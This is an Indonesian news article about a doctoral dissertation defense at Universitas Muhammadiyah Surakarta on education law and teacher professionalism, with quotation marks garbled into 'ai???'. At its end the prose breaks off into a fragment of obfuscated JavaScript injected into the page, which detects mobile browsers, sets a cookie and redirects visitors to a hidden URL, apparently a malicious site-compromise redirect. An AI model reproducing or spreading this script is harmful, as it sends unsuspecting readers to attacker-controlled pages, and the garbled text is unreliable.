Pengembangan model profesionalitas guru melalui politik hukum pendidikan, diperlukan untuk melakukan penataan dan pengelolaan yang baik, sehingga guru dapat melaksanakan tugas secara profesional serta menghasilkan lulusan yang bermutu.
Hal tersebut disampaikan dosen Universitas PGRI Semarang Drs Maryanto Msi dalam ujian promosi doktoral Ilmu Hukum Universitas Muhammadiyah Surakarta (UMS), Selas 13 Maret 2016.
Disertasi berjudul ai???Politik Hukum Pendidikan : Studi Profesionalitas Guruai??? tersebut disampaiakan di hadapan Prof Dr Harun SH MHum (promotor), Dr Nurhadiantomo dan Prof Dr Sutama MPd (Co-Promotor) serta penguji, di antaranya Prof Dr Khudzaifah Dimyati SH MHum, Prof Dr Absori SH MHum, dan Prof Dr Bambang Setiaji.
ai???Saat ini perofesionalitas guru masih rendah, hal ini dilihat dari hasil uji kompetensi awal peserta sertifikasi tahun 2012, yang menunjukan rendahnya kompetensi guru di semua jenjang pendidikan. Selain itu, analisis dan pemetaan dari hasil UKG gelombang pertama tahun 2012 diketahui kompetensi peserta sekitar 49 persen masih di bawah rata-rata. Nilai rata-rata UKG gelombang pertama itu hanya sekitar 43,8,ai??? tandas Maryanto.
Disertasinya bertujuan menganalisis dan mendeskripsikan perkembangan politik hukum peraturan perundang-undangan bidang pendidikan dalam peningkatan profesionalitas guru; menganalisis dan mendeskripsikan implementasi pengembangan profesionalitas guru melalui politik hukum pendidikan.
Target khusus yang ingin dicapai dalam penelitian ini adalah untuk memformulasikan model pengembangan profesionalitas guru melalui politik hukum pendidikan.
Dalam analisis yang dilakukannya dengan menggunakan konsep Miles dan Huberman, yaitu analisis atas tiga alur kegiatan yang terjadi secara bersamaan, yakni reduksi data, penyajian data, dan penarikan kesimpulan. Disimpulkan bahwa Undang-Undang Nomor 14 Tahun 2005 tentang Guru dan Dosen Pasal 9 menyatakan bahwa kualifikasi akademik guru diperoleh melalui pendidikan tinggi program sarjana atau diploma empat.
ai???Kualifikasi akademik ini tidak disebutkan secara jelas tentang disiplin ilmu, sehingga yang bisa menjadi guru adalah seseorang lulusan perguruan tinggi dari semua disiplin ilmu yang tidak selalu memperoleh pendidikan keguruan. Padahal, untuk menjadi guru, seseorang perlu dipersiapkan pendidikannya secara khusus sebagai calon guru. Oleh karena itu perlu dilakukan standarisasi akademik guru dengan dilakukannya perubahan pasal 9 UU Guru dan dosen, menjadi ai???kualifikasi akademik guru adalah SI kependidikan, ditambah pendidikan profesi guru,ai??? tandasnya[] y)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}